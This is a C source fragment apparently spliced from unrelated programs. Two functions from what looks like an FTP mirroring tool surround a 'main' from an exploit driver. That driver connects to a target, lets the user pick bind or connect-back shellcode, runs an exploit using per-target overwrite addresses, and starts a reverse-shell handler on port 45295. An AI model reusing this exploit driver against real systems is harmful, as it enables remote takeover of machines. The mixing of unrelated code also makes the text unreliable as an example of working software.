static void rebuild_cache(int host) { FileData remote_file_data; printf(_("Rebuilding cache...\n")); if (connect_to_remote_host(host) != 0) { return; } get_remote_file_data(&remote_file_data, host); disconnect_from_remote_host(host); save_cache(&remote_file_data, host); free_file_data(&remote_file_data); }
int main ( int argc, char* argv[] ) { int s, option; args myargs; system ( "clear" ); header (); parse_arguments ( argc, argv, &myargs ); s = connect_to_remote_host ( myargs.tip, myargs.tport ); printf ( "--[ select shellcode\n" ); printf ( " |\n" ); printf ( " |- [0] bind\n" ); printf ( " `- [1] cb\n" ); printf ( ">> " ); scanf ( "%d", &option ); switch ( option ) { case 0: printf ( "--[ sorry, does not work yet :/\n" ); /* printf ( "--[ using bind shellcode\n" ); if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, NULL ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } connect_to_bindshell ( myargs.tip, 3879 ); */ break; case 1: printf ( "--[ using cb shellcode\n" ); if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, myargs.lip ) == 1 ) { printf ( "exploitation failed!\n" ); exit ( 1 ); } start_reverse_handler ( 45295 ); break; default: printf ( "--[ invalid shellcode!\n" ); exit ( 1 ); } close ( s ); return 0; }
void main_loop(int argc, char *argv[], int max_hosts) { int i; int host; int *targeted_host; FileData local_file_data; FileData remote_file_data; Order *order; Direction direction; bool use_cache; char *top_dir; FtpInit(); targeted_host = get_targeted_host(argc, argv, max_hosts); for (i = 0;; i++) { host = targeted_host[i]; if (host == -1) { break; } message(PROCESS, cfgSectionNumberToName(host), 0, host); direction = get_direction(host); get_local_file_data(&local_file_data, host); if (command_line_option.rebuild_cache) { /* -r | --rebuild-cache */ rebuild_cache(host); free_file_data(&local_file_data); continue; } if (command_line_option.catch_up) { /* -R | --catch-up */ catch_up(&local_file_data, host); free_file_data(&local_file_data); continue; } if (direction == DOWNLOAD || !does_cache_exist(host)) { if (direction == DOWNLOAD) { printf(_("Rebuilding cache for downloading...\n")); } else { printf(_("Cache file is not found.\nCreating a new one...\n")); } if (connect_to_remote_host(host) != 0) { free_file_data(&local_file_data); continue; } get_remote_file_data(&remote_file_data, host); use_cache = FALSE; } else { load_cache(&remote_file_data, host); use_cache = TRUE; } order = compare_both_hosts_and_generate_order(&local_file_data, &remote_file_data, config.local_top_dir[host], config.remote_top_dir[host], direction, host); if (!does_need_update(order)) { disconnect_from_remote_host(host); if (direction == UPLOAD) { printf(_("The remote host doesn't need updating.\n")); } else { printf(_("The local host doesn't need updating.\n")); } if (!use_cache) { save_cache(&remote_file_data, host); } free_file_data(&remote_file_data); free_file_data(&local_file_data); continue; } if(command_line_option.list) { disconnect_from_remote_host(host); put_listing_of_updated_file(order, direction); free_file_data(&remote_file_data); free_file_data(&local_file_data); continue; } if(command_line_option.nlist) { disconnect_from_remote_host(host); put_the_number_of_updated_file(order, direction); free_file_data(&remote_file_data); free_file_data(&local_file_data); continue; } if (!use_cache) { printf("\n"); } put_num_updated_file(order, direction); if (connect_to_remote_host(host) != 0) { free_file_data(&remote_file_data); free_file_data(&local_file_data); continue; } if (direction == UPLOAD) { top_dir = str_concat(config.remote_top_dir[host], "/", NULL); } else { top_dir = str_concat(config.local_top_dir[host], "/", NULL); } message(ENTER, top_dir, 0, host); execute_order(order, &remote_file_data, direction, host); message(LEAVE, top_dir, 0, host); free(top_dir); free_order(order); disconnect_from_remote_host(host); save_cache(&remote_file_data, host); free_file_data(&remote_file_data); free_file_data(&local_file_data); } free(targeted_host); }